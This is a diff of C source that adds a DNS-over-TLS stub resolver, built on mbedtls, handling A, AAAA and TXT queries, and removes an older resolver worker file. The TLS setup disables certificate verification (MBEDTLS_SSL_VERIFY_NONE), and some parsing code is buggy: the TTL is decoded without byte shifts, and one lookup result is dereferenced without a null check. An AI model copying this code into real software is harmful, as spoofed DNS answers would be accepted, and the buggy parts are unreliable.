+= *p + 1; + } + } + + return p + 1; +} + +static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *a, const uint8_t *b, prne_resolv_qr_t *qr) { + const uint8_t *p[2] = { a, b }; + size_t i; + uint16_t ptr; + const prne_imap_tuple_t *tpl; + int ret; + + + assert(qr != NULL); + + do { + // deref the pointers + for (i = 0; i < 2; i += 1) { + if ((p[i][0] & 0xC0) == 0xC0) { + ptr = ((uint16_t)p[i][0] << 8) | (uint16_t)p[i][1]; + tpl = prne_imap_lookup(map, ptr); + if (tpl == NULL) { + ret = -1; + *qr = PRNE_RESOLV_QR_PRO_ERR; + break; + } + p[i] = (const uint8_t*)tpl->val; + } + } + + if (*p[0] != *p[1]) { + ret = 0; + break; + } + if (*p[0] == 0 || *p[1] == 0) { + ret = 1; + break; + } + + p[0] += 1; + p[1] += 1; + } while (true); + + return ret; +} + +static bool resolv_proc_dns_msg (prne_resolv_t *ctx, const uint8_t *data, const size_t len, bool *err_flag) { + typedef struct { + const uint8_t *name; + const uint8_t *data; + uint32_t ttl; + uint16_t rtype; + uint16_t rclass; + uint16_t data_len; + } rr_tuple_t; + rr_tuple_t *tpl; + prne_resolv_qr_t qr; + int err = 0, cmp_ret; + uint_fast16_t qid, status, ancount, ttype; + prne_imap_t ptr_map; // val in msg(uint8_t):(uint8_t*)real addr + prne_llist_t rr_list, ret_list; + prne_iset_t alias_set; + prne_llist_entry_t *cur; + query_entry_t *qent; + const uint8_t *qname, *alias, *end = data + len, *p, *rname; + size_t i, j, loop_cnt; + bool ret; + + if (len < 12) { + *err_flag = true; + return false; + } + *err_flag = false; + + qr = PRNE_RESOLV_QR_NONE; + status = 0; + ttype = 0; + prne_init_imap(&ptr_map); + prne_init_llist(&rr_list); + prne_init_llist(&ret_list); + prne_init_iset(&alias_set); + + // ID + { + const prne_imap_tuple_t *tpl; + + qid = ((uint16_t)data[0] << 8) | (uint16_t)data[1]; + tpl = prne_imap_lookup(&ctx->qid_map, qid); + ret = tpl != NULL; + if (ret) { + qent = (query_entry_t*)tpl->val; + if (qent != NULL) { + switch (qent->type) { + case PRNE_RESOLV_QT_A: ttype = 1; break; + case PRNE_RESOLV_QT_AAAA: ttype = 28; break; + case PRNE_RESOLV_QT_TXT: ttype = 16; break; + default: abort(); + } + } + } + else { + qent = NULL; + } + prne_imap_erase(&ctx->qid_map, qid); + } + // QR + if ((data[2] & 0x80) == 0) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + // Opcode + if ((data[2] & 0x78) != 0) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + // AA - don't care + // RCODE + status = data[3] & 0x0F; + if (status != 0) { + qr = PRNE_RESOLV_QR_STATUS; + goto END; + } + // TC + if ((data[2] & 0x02) != 0) { + qr = PRNE_RESOLV_QR_IMPL; + goto END; + } + // QDCOUNT + if ((((uint_fast16_t)data[4] << 8) | (uint_fast16_t)data[5]) != 1) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + // ANCOUNT + ancount = ((uint_fast16_t)data[6] << 8) | (uint_fast16_t)data[7]; + + // decode question + if (len < 12 + 1 + 4) { // min msg with 1 QDCOUNT length + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + qname = data + 12; + p = resolv_index_labels(&ptr_map, data, end, (const uint8_t*)qname, &qr, &err); + if (p == NULL) { + goto END; + } + if ((size_t)(p - data + 4) > len) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + if (qent != NULL && strcmp((const char*)qname, qent->qname) != 0) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + if ((ttype != 0 && ttype != (((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1])) || + (((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]) != 1) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + + p += 4; + // decode answer RRs + for (i = 0; i < ancount; i += 1) { + tpl = prne_malloc(sizeof(rr_tuple_t), 1); + if (tpl == NULL) { + err = errno; + qr = PRNE_RESOLV_QR_ERR; + goto END; + } + if (prne_llist_append(&rr_list, tpl) == NULL) { + prne_free(tpl); + err = errno; + qr = PRNE_RESOLV_QR_ERR; + goto END; + } + + tpl->name = p; + p = resolv_index_labels(&ptr_map, data, end, p, &qr, &err); + if (p == NULL) { + goto END; + } + if (p >= end || end - p < 10) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + tpl->rtype = ((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1]; + tpl->rclass = ((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]; + tpl->ttl = ((uint_fast32_t)p[4]) | ((uint_fast32_t)p[5]) | ((uint_fast32_t)p[6]) | ((uint_fast32_t)p[7]); + tpl->data_len = ((uint_fast16_t)p[8] << 8) | (uint_fast16_t)p[9]; + rname = tpl->data = p + 10; + + switch (tpl->rtype) { + case PRNE_RESOLV_RTYPE_SOA: + loop_cnt = 2; + break; + case PRNE_RESOLV_RTYPE_CNAME: + case PRNE_RESOLV_RTYPE_MX: + case PRNE_RESOLV_RTYPE_NS: + case PRNE_RESOLV_RTYPE_PTR: + loop_cnt = 1; + break; + default: + loop_cnt = 0; + } + for (j = 0; j < loop_cnt; j += 1) { + rname = resolv_index_labels(&ptr_map, data, tpl->data + tpl->data_len, rname, &qr, &err); + if (rname == NULL) { + goto END; + } + } + + p += 10 + tpl->data_len; + } + + // resolve cname + alias = qname; + if (!prne_iset_insert(&alias_set, (prne_iset_val_t)alias)) { + qr = PRNE_RESOLV_QR_ERR; + err = errno; + goto END; + } +QNAME_START: + cur = rr_list.head; + while (cur != NULL) { + tpl = (rr_tuple_t*)cur->element; + + if (tpl->rtype == PRNE_RESOLV_RTYPE_CNAME) { + cmp_ret = resolv_mapped_qname_cmp(&ptr_map, tpl->name, alias, &qr); + if (cmp_ret < 0) { + goto END; + } + if (cmp_ret) { + if (prne_iset_lookup(&alias_set, (prne_iset_val_t)tpl->data)) { + qr = PRNE_RESOLV_QR_PRO_ERR; + goto END; + } + if (!prne_iset_insert(&alias_set, (prne_iset_val_t)tpl->data)) { + qr = PRNE_RESOLV_QR_ERR; + err = errno; + goto END; + } + alias = tpl->data; + goto QNAME_START; + } + } + + cur = cur->next; + } + + // index the selected(alias) resources + cur = rr_list.head; + while (cur != NULL) { + tpl = (rr_tuple_t*)cur->element; + + cmp_ret = resolv_mapped_qname_cmp(&ptr_map, tpl->name, alias, &qr); + if (cmp_ret < 0) { + goto END; + } + if (cmp_ret && ttype == tpl->rtype) { + if (prne_llist_append(&ret_list, tpl) == NULL) { + qr = PRNE_RESOLV_QR_ERR; + err = errno; + goto END; + } + } + + cur = cur->next; + } + + // return data + if (ret_list.size > 0 && qent != NULL) { + prne_llist_entry_t *cur; + rr_tuple_t *tpl; + + qent->fut.rr = (prne_resolv_rr_t*)prne_malloc(sizeof(prne_resolv_rr_t), ret_list.size); + if (qent->fut.rr == NULL) { + qr = PRNE_RESOLV_QR_ERR; + err = errno; + goto END; + } + qent->fut.rr_cnt = ret_list.size; + for (i = 0; i < qent->fut.rr_cnt; i += 1) { + prne_init_resolv_rr(qent->fut.rr + i); + } + + i = 0; + cur = ret_list.head; + while (cur != NULL) { + tpl = (rr_tuple_t*)cur->element; + + qent->fut.rr[i].rr_class = tpl->rclass; + qent->fut.rr[i].rr_type = tpl->rtype; + qent->fut.rr[i].rr_ttl = tpl->ttl; + if (tpl->data_len > 0) { + if ((qent->fut.rr[i].name = resolv_qname_tostr(qent->qname)) == NULL || + (qent->fut.rr[i].rd_data = (uint8_t*)prne_malloc(1, tpl->data_len)) == NULL) { + qr = PRNE_RESOLV_QR_ERR; + err = errno; + goto END; + } + qent->fut.rr[i].rd_len = tpl->data_len; + memcpy(qent->fut.rr[i].rd_data, tpl->data, tpl->data_len); + } + else { + qent->fut.rr[i].rd_data = NULL; + qent->fut.rr[i].rd_len = 0; + } + + i += 1; + cur = cur->next; + } + } + + qr = PRNE_RESOLV_QR_OK; + +END: + cur = rr_list.head; + while (cur != NULL) { + prne_free(cur->element); + cur = cur->next; + } + prne_free_llist(&rr_list); + prne_free_llist(&ret_list); + prne_free_imap(&ptr_map); + prne_free_iset(&alias_set); + if (qent != NULL) { + if (qr != PRNE_RESOLV_QR_OK) { + for (i = 0; i < qent->fut.rr_cnt; i += 1) { + prne_free_resolv_rr(qent->fut.rr + i); + } + prne_free(qent->fut.rr); + qent->fut.rr = NULL; + qent->fut.rr_cnt = 0; + } + qent->fut.qr = qr; + qent->fut.err = err; + qent->fut.status = status; + resolv_disown_qent(qent); + } + + return ret; +} + +static size_t resolv_calc_dot_msg_len (query_entry_t *qent) { + return 2/*DoT head*/ + 12/*msg head*/ + qent->qname_size + 4/*QCLASS, QTYPE*/; +} + +static void resolv_write_dns_msg (query_entry_t *qent, uint8_t *mem) { + // ID + mem[0] = (uint8_t)((qent->qid & 0xFF00) >> 8); + mem[1] = (uint8_t)(qent->qid & 0x00FF); + // QR: 0, Opcode: 0, AA:0, TC: 0, RD: 1, RA: 0, Z: 0, RCODE: 0 + mem[2] = 0x01; + mem[3] = 0x00; + // QDCOUNT: 1 + mem[4] = 0x00; + mem[5] = 0x01; + // ANCOUNT, NSCOUNT, ARCOUNT: 0 + mem[6] = mem[7] = mem[8] = mem[9] = mem[10] = mem[11] = 0x00; + + // QNAME + memcpy(mem + 12, qent->qname, qent->qname_size); + // QTYPE + switch (qent->type) { + case PRNE_RESOLV_QT_A: + mem[qent->qname_size + 12] = 0x00; + mem[qent->qname_size + 13] = 0x01; + break; + case PRNE_RESOLV_QT_AAAA: + mem[qent->qname_size + 12] = 0x00; + mem[qent->qname_size + 13] = 0x1C; + break; + case PRNE_RESOLV_QT_TXT: + mem[qent->qname_size + 12] = 0x00; + mem[qent->qname_size + 13] = 0x10; + break; + default: abort(); + } + // QCLASS: IN + mem[qent->qname_size + 14] = 0x00; + mem[qent->qname_size + 15] = 0x01; +} + +static bool resolv_send_dns_msgs (prne_resolv_t *ctx) { + prne_llist_entry_t *cur; + query_entry_t *qent; + size_t dot_msg_len, dns_msg_len; + uint16_t qid; + bool ret = false; + + cur = ctx->qlist.head; + while (cur != NULL && ctx->qid_map.size < RESOLV_PIPELINE_SIZE) { + qent = (query_entry_t*)cur->element; + + dot_msg_len = resolv_calc_dot_msg_len(qent); + dns_msg_len = dot_msg_len - 2; + if (dot_msg_len + ctx->write_cnt_len <= sizeof(ctx->write_buf)) { + qid = resolv_next_qid(ctx); + if (qid == 0) { + qent->fut.qr = PRNE_RESOLV_QR_ERR; + qent->fut.err = 0; + prne_llist_erase(&ctx->qlist, qent->qlist_ent); + resolv_disown_qent(qent); + + return ret; + } + + if (prne_imap_insert(&ctx->qid_map, qid, qent) == NULL) { + qent->fut.err = errno; + qent->fut.qr = PRNE_RESOLV_QR_ERR; + prne_llist_erase(&ctx->qlist, cur); + resolv_disown_qent(qent); + + return ret; + } + else { + cur = prne_llist_erase(&ctx->qlist, cur); + + ctx->write_buf[ctx->write_cnt_len + 0] = (uint8_t)((dns_msg_len & 0xFF00) >> 8); + ctx->write_buf[ctx->write_cnt_len + 1] = (uint8_t)(dns_msg_len & 0x00FF); + qent->qid = qid; + resolv_write_dns_msg(qent, ctx->write_buf + ctx->write_cnt_len + 2); + + ctx->write_cnt_len += dot_msg_len; + ret |= true; + } + } + else { + break; + } + } + + return ret; +} + +static void resolv_proc_expired (prne_resolv_t *ctx) { + const struct timespec now = prne_gettime(CLOCK_MONOTONIC); + prne_llist_entry_t *cur; + query_entry_t *qent; + + cur = ctx->qlist.head; + while (cur != NULL) { + qent = (query_entry_t*)cur->element; + + if (prne_cmp_timespec(RESOLV_QUERY_TIMEOUT, prne_sub_timespec(now, qent->tp_queued)) < 0) { + qent->fut.qr = PRNE_RESOLV_QR_TIMEOUT; + cur = prne_llist_erase(&ctx->qlist, cur); + resolv_disown_qent(qent); + } + else { + cur = cur->next; + } + } +} + +static void resolv_proc_q (prne_resolv_t *ctx) { + int pollret, ret; + short pfd_events; + bool proc; + /* + * The server could be sending gibberish response messages that look legit. + * Timeout the loop when we don't receive response we recognise in time. + */ + struct timespec last_proc, now, delta, op_rem; + +LOOP: + last_proc = prne_gettime(CLOCK_MONOTONIC); + proc = false; + while (ctx->qlist.size > 0 || ctx->qid_map.size > 0) { + resolv_proc_expired(ctx); + + if (ctx->write_cnt_len > 0 || ctx->qid_map.size < RESOLV_PIPELINE_SIZE) { + pfd_events = POLLIN | POLLOUT; + } + else { + pfd_events = POLLIN; + } + + if (!resolv_ensure_conn(ctx)) { + goto LOOP; + } + + now = prne_gettime(CLOCK_MONOTONIC); + if (proc) { + last_proc = now; + } + proc = false; + delta = prne_sub_timespec(now, last_proc); + if (prne_cmp_timespec(delta, RESOLV_SCK_OP_TIMEOUT) >= 0) { + resolv_close_sck(ctx, NULL, true); + goto LOOP; + } + + op_rem = prne_sub_timespec(RESOLV_SCK_OP_TIMEOUT, delta); + ctx->act_sck_pfd.events = pfd_events; + pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &op_rem); + + if (pollret > 0) { + if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + goto LOOP; + } + if (ctx->act_sck_pfd.revents & POLLIN) { + size_t pos, msg_len; + bool err_flag = false; + + ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len); + if (ret <= 0) { + // we don't renegotiate with terrorists. + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + goto LOOP; + } + ctx->read_cnt_len += (size_t)ret; + + pos = 0; + while (true) { + if (pos + 1 >= ctx->read_cnt_len) { + break; + } + msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1]; + if (msg_len > 512) { // unimplemented. + prne_dbgpf("* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len); + // try to get qid + if (ctx->read_cnt_len > pos + 4) { + const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3]; + const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid); + + if (tpl->val != NULL) { + query_entry_t *qent = (query_entry_t*)tpl->val; + qent->fut.qr = PRNE_RESOLV_QR_IMPL; + resolv_disown_qent(qent); + } + prne_imap_erase(&ctx->qid_map, qid); + } + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + goto LOOP; + } + if (pos + 1 + msg_len >= ctx->read_cnt_len) { + break; + } + + proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag); + if (err_flag) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + goto LOOP; + } + pos += 2 + msg_len; + } + if (pos > 0) { + memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos); + ctx->read_cnt_len -= pos; + } + } + + if ((ctx->act_sck_pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) { + ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len); + if (ret <= 0) { + // we don't renegotiate with terrorists. + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + goto LOOP; + } + + memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret); + ctx->write_cnt_len -= (size_t)ret; + } + if (ctx->write_cnt_len == 0) { + proc |= resolv_send_dns_msgs(ctx); + } + } + else if (pollret == 0) { + resolv_close_sck(ctx, NULL, true); + } + else { + resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, true); + } + } +} + +static void resolv_proc_close (prne_resolv_t *ctx) { + int pollret; + + do { + switch (mbedtls_ssl_close_notify(&ctx->ssl.ctx)) { + case MBEDTLS_ERR_SSL_WANT_READ: + ctx->act_sck_pfd.events = POLLIN; + break; + case MBEDTLS_ERR_SSL_WANT_WRITE: + ctx->act_sck_pfd.events = POLLOUT; + break; + case 0: + resolv_close_sck(ctx, NULL, false); + return; + default: + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return; + } + + pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_CLOSE_TIMEOUT); + if (pollret < 0) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return; + } + else if (pollret == 0) { + resolv_close_sck(ctx, NULL, true); + return; + } + else if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return; + } + } while (true); +} + +static void resolv_wkr_free (void *p) { + DECL_CTX_PTR(p); + + if (p == NULL) { + return; + } + + if (ctx->dnssrv_4.ownership) { + prne_free(ctx->dnssrv_4.arr); + } + if (ctx->dnssrv_6.ownership) { + prne_free(ctx->dnssrv_6.arr); + } + prne_free_llist(&ctx->qlist); + prne_free_imap(&ctx->qid_map); + mbedtls_ssl_config_free(&ctx->ssl.conf); + mbedtls_ssl_free(&ctx->ssl.ctx); + + prne_close(ctx->act_sck_pfd.fd); + prne_free(ctx); +} + +static void resolv_wkr_fin (void *p) { + DECL_CTX_PTR(p); + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + ctx->ctx_state = RESOLV_CTX_STATE_FIN_CALLED; + pth_cond_notify(&ctx->cond, FALSE); + prne_assert(pth_mutex_release(&ctx->lock)); +} + +static void *resolv_wkr_entry (void *p) { + DECL_CTX_PTR(p); + bool sck_close; + + while (ctx->ctx_state == RESOLV_CTX_STATE_OK) { + sck_close = false; + + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + if (ctx->qlist.size == 0) { + pth_event_t ev; + + if (ctx->act_sck_pfd.fd >= 0) { + ev = pth_event(PTH_EVENT_TIME, pth_timeout(RESOLV_SCK_IDLE_TIMEOUT.tv_sec, 0)); + } + else { + ev = NULL; + } + + pth_cond_await(&ctx->cond, &ctx->lock, ev); + + if (ev != NULL) { + sck_close = pth_event_occurred(ev) != 0; + pth_event_free(ev, PTH_FREE_ALL); + } + } + prne_assert(pth_mutex_release(&ctx->lock)); + + if (sck_close) { + resolv_proc_close(ctx); + } + resolv_proc_q(ctx); + } + + if (ctx->act_sck_pfd.fd >= 0) { + resolv_proc_close(ctx); + } + + ctx->ctx_state = RESOLV_CTX_STATE_FINALISED; + return NULL; +} + +prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg) { + prne_resolv_t *ctx = NULL; + + if (wkr == NULL || ctr_drbg == NULL) { + errno = EINVAL; + return NULL; + } + + ctx = (prne_resolv_t*)prne_malloc(sizeof(prne_resolv_t), 1); + if (ctx == NULL) { + return NULL; + } + ctx->read_cnt_len = 0; + ctx->write_cnt_len = 0; + ctx->act_sck_pfd.fd = -1; + ctx->ctx_state = RESOLV_CTX_STATE_OK; + ctx->ssl.ctr_drbg = ctr_drbg; + prne_init_llist(&ctx->qlist); + prne_init_imap(&ctx->qid_map); + mbedtls_ssl_config_init(&ctx->ssl.conf); + mbedtls_ssl_init(&ctx->ssl.ctx); + pth_mutex_init(&ctx->lock); + pth_cond_init(&ctx->cond); + + ctx->dnssrv_4 = RESOLV_DEF_IPV4_POOL; + ctx->dnssrv_6 = RESOLV_DEF_IPV6_POOL; + ctx->ptr_dnssrv4 = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); + ctx->ptr_dnssrv6 = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); + if (mbedtls_ssl_config_defaults(&ctx->ssl.conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) != 0) { + goto ERR; + } + mbedtls_ssl_conf_rng(&ctx->ssl.conf, mbedtls_ctr_drbg_random, ctx->ssl.ctr_drbg); + mbedtls_ssl_conf_authmode(&ctx->ssl.conf, MBEDTLS_SSL_VERIFY_NONE); + + wkr->ctx = ctx; + wkr->free_ctx = resolv_wkr_free; + wkr->fin = resolv_wkr_fin; + wkr->entry = resolv_wkr_entry; + return ctx; +ERR: + if (ctx != NULL) { + prne_free_llist(&ctx->qlist); + prne_free_imap(&ctx->qid_map); + mbedtls_ssl_config_free(&ctx->ssl.conf); + mbedtls_ssl_free(&ctx->ssl.ctx); + + prne_free(ctx); + } + + return NULL; +} + +bool prne_resolv_prm_gethostbyname (prne_resolv_t *wkr, const char *name, const prne_ipv_t ipv, prne_pth_cv_t *cv, prne_resolv_prm_t *out) { + bool ret; + query_entry_t *q_ent; + prne_resolv_query_type_t qt; + + switch (ipv) { + case PRNE_IPV_4: qt = PRNE_RESOLV_QT_A; break; + case PRNE_IPV_6: qt = PRNE_RESOLV_QT_AAAA; break; + default: + errno = EINVAL; + return false; + } + + ret = resolv_qq(wkr, name, cv, out, &q_ent); + if (ret) { + q_ent->ipv = ipv; + q_ent->type = qt; + } + + return ret; +} + +bool prne_resolv_prm_gettxtrec (prne_resolv_t *wkr, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out) { + bool ret; + query_entry_t *q_ent; + + ret = resolv_qq(wkr, name, cv, out, &q_ent); + if (ret) { + q_ent->type = PRNE_RESOLV_QT_TXT; + } + + return ret; +} + +void prne_resolv_free_prm (prne_resolv_prm_t *prm) { + if (prm->ctx != NULL) { + query_entry_t *ent = (query_entry_t*)prm->ctx; + + if (ent->owner != NULL) { + prne_llist_erase(&ent->owner->qlist, ent->qlist_ent); + + if (prne_imap_lookup(&ent->owner->qid_map, ent->qid) != NULL) { + prne_imap_insert(&ent->owner->qid_map, ent->qid, 0); + } + } + resolv_free_q_ent(ent); + } + + prm->ctx = NULL; + prm->fut = NULL; +} + +void prne_resolv_init_prm (prne_resolv_prm_t *prm) { + prm->ctx = NULL; + prm->fut = NULL; +} + +void prne_init_resolv_fut (prne_resolv_fut_t *fut) { + fut->rr_cnt = 0; + fut->rr = NULL; + fut->qr = PRNE_RESOLV_QR_NONE; + fut->err = 0; + fut->status = 0; +} + +void prne_free_resolv_fut (prne_resolv_fut_t *fut) { + size_t i; + + for (i = 0; i < fut->rr_cnt; i += 1) { + prne_free_resolv_rr(fut->rr + i); + } + prne_free(fut->rr); + fut->rr = NULL; + fut->rr_cnt = 0; +} + +void prne_init_resolv_rr (prne_resolv_rr_t *rr) { + rr->name = NULL; + rr->rr_class = 0; + rr->rr_type = 0; + rr->rr_ttl = 0; + rr->rd_data = NULL; + rr->rd_len = 0; +} + +void prne_free_resolv_rr (prne_resolv_rr_t *rr) { + prne_free(rr->name); + prne_free(rr->rd_data); + rr->rd_data = NULL; + rr->rd_len = 0; +} + +const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr) { + switch (qr) { + case PRNE_RESOLV_QR_OK: return "OK"; + case PRNE_RESOLV_QR_ERR: return "ERR"; + case PRNE_RESOLV_QR_PRO_ERR: return "PRO_ERR"; + case PRNE_RESOLV_QR_FIN: return "FIN"; + case PRNE_RESOLV_QR_IMPL: return "IMPL"; + case PRNE_RESOLV_QR_TIMEOUT: return "TIMEOUT"; + case PRNE_RESOLV_QR_STATUS: return "STATUS"; + } + return NULL; +} + +const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc) { + switch (rc) { + case PRNE_RESOLV_RCODE_NOERROR: return "NOERROR"; + case PRNE_RESOLV_RCODE_FORMERR: return "FORMERR"; + case PRNE_RESOLV_RCODE_SERVFAIL: return "SERVFAIL"; + case PRNE_RESOLV_RCODE_NXDOMAIN: return "NXDOMAIN"; + case PRNE_RESOLV_RCODE_NOTIMP: return "NOTIMP"; + case PRNE_RESOLV_RCODE_REFUSED: return "REFUSED"; + } + return NULL; +} + +const char *prne_resolv_rrtype_tostr (const uint16_t rrt) { + switch (rrt) { + case PRNE_RESOLV_RTYPE_A: return "A"; + case PRNE_RESOLV_RTYPE_NS: return "NS"; + case PRNE_RESOLV_RTYPE_CNAME: return "CNAME"; + case PRNE_RESOLV_RTYPE_SOA: return "SOA"; + case PRNE_RESOLV_RTYPE_PTR: return "PTR"; + case PRNE_RESOLV_RTYPE_MX: return "MX"; + case PRNE_RESOLV_RTYPE_TXT: return "TXT"; + case PRNE_RESOLV_RTYPE_AAAA: return "AAAA"; + } + return NULL; +} diff --git a/src/resolv.h b/src/resolv.h new file mode 100644 index 0000000..650406c --- /dev/null +++ b/src/resolv.h @@ -0,0 +1,94 @@ +#pragma once +#include "protocol.h" +#include "pth.h" + +#include + + +struct prne_resolv; +typedef struct prne_resolv prne_resolv_t; + +struct prne_resolv_prm; +struct prne_resolv_fut; +struct prne_resolv_rr; +typedef struct prne_resolv_prm prne_resolv_prm_t; +typedef struct prne_resolv_fut prne_resolv_fut_t; +typedef struct prne_resolv_rr prne_resolv_rr_t; +typedef uint16_t prne_resolv_rcode_t; + +typedef enum { + PRNE_RESOLV_QR_NONE = -1, + + PRNE_RESOLV_QR_OK, + PRNE_RESOLV_QR_ERR, + PRNE_RESOLV_QR_PRO_ERR, + PRNE_RESOLV_QR_FIN, + PRNE_RESOLV_QR_IMPL, + PRNE_RESOLV_QR_TIMEOUT, + PRNE_RESOLV_QR_STATUS, + + NB_PRNE_RESOLV +} prne_resolv_qr_t; + +typedef enum { + PRNE_RESOLV_QT_NONE = -1, + + PRNE_RESOLV_QT_A, + PRNE_RESOLV_QT_AAAA, + PRNE_RESOLV_QT_TXT, + + NB_PRNE_RESOLV_QT +} prne_resolv_query_type_t; + +struct prne_resolv_prm { + void *ctx; + prne_resolv_fut_t *fut; +}; + +struct prne_resolv_fut { + size_t rr_cnt; + prne_resolv_rr_t *rr; + int err; + prne_resolv_qr_t qr; + prne_resolv_rcode_t status; +}; + +struct prne_resolv_rr { + char *name; + uint16_t rr_class, rr_type; + uint32_t rr_ttl; + uint8_t *rd_data; + uint16_t rd_len; +}; + +// honor bind-utils' choice of words +#define PRNE_RESOLV_RCODE_NOERROR 0 +#define PRNE_RESOLV_RCODE_FORMERR 1 +#define PRNE_RESOLV_RCODE_SERVFAIL 2 +#define PRNE_RESOLV_RCODE_NXDOMAIN 3 +#define PRNE_RESOLV_RCODE_NOTIMP 4 +#define PRNE_RESOLV_RCODE_REFUSED 5 + +#define PRNE_RESOLV_RTYPE_A 1 +#define PRNE_RESOLV_RTYPE_NS 2 +#define PRNE_RESOLV_RTYPE_CNAME 5 +#define PRNE_RESOLV_RTYPE_SOA 6 +#define PRNE_RESOLV_RTYPE_PTR 12 +#define PRNE_RESOLV_RTYPE_MX 15 +#define PRNE_RESOLV_RTYPE_TXT 16 +#define PRNE_RESOLV_RTYPE_AAAA 28 + + +prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg); +bool prne_resolv_prm_gethostbyname (prne_resolv_t *ctx, const char *name, const prne_ipv_t ipv, prne_pth_cv_t *cv, prne_resolv_prm_t *out); +bool prne_resolv_prm_gettxtrec (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out); + +void prne_resolv_init_prm (prne_resolv_prm_t *prm); +void prne_resolv_free_prm (prne_resolv_prm_t *prm); +void prne_init_resolv_fut (prne_resolv_fut_t *fut); +void prne_free_resolv_fut (prne_resolv_fut_t *fut); +void prne_init_resolv_rr (prne_resolv_rr_t *rr); +void prne_free_resolv_rr (prne_resolv_rr_t *rr); +const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr); +const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc); +const char *prne_resolv_rrtype_tostr (const uint16_t rrt); diff --git a/src/resolv_worker.c b/src/resolv_worker.c deleted file mode 100644 index 72c3cb0..0000000 --- a/src/resolv_worker.c +++ /dev/null @@ -1,1542 +0,0 @@ -#include "resolv_worker.h" -#include "util_rt.h" -#include "util_ct.h" -#include "llist.h" -#include "imap.h" -#include "iset.h" -#include "protocol.h" -#include "mbedtls.h" - -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include - -_Static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap cannot contain uint_fast16_t"); - -#define OK_OR_ERR(v) if (v < 0) { goto ERR; } - -typedef enum { - RESOLV_WKR_STATE_OK, - RESOLV_WKR_STATE_FIN_CALLED, - RESOLV_WKR_STATE_FINALISED, -} resolv_wkr_state_t; - -typedef enum { - RESOLV_CTX_STATE_NONE, - RESOLV_CTX_STATE_CONN, - RESOLV_CTX_STATE_HNDSHK, - RESOLV_CTX_STATE_READY, - RESOLV_CTX_STATE_CLOSING, -} resolv_ctx_state_t; - -typedef struct { - prne_net_endpoint_t *arr; - size_t cnt; - size_t ptr; -} resolv_dnssrv_pool_t; - -typedef struct { - prne_resolv_wkr_ctx_t wkr; - prne_llist_entry_t *qlist_ent; - char *qname; - size_t qname_size; - int evtfd[2]; - prne_wkr_timeout_slot_pt to_slot; - uint_fast16_t qid; // 0 reserved - prne_resolv_fut_t fut; - prne_ipv_t ipv; - prne_resolv_query_type_t type; -} query_entry_t; - -struct prne_resolv_wkr_ctx { - int dnss_fd[2]; - int evtfd[2]; - size_t read_cnt_len; - size_t write_cnt_len; - prne_wkr_sched_req_t *wsr; - prne_wkr_timeout_slot_pt sckop_to_slot; - prne_wkr_timeout_slot_pt err_to_slot; - prne_wkr_pollfd_slot_pt 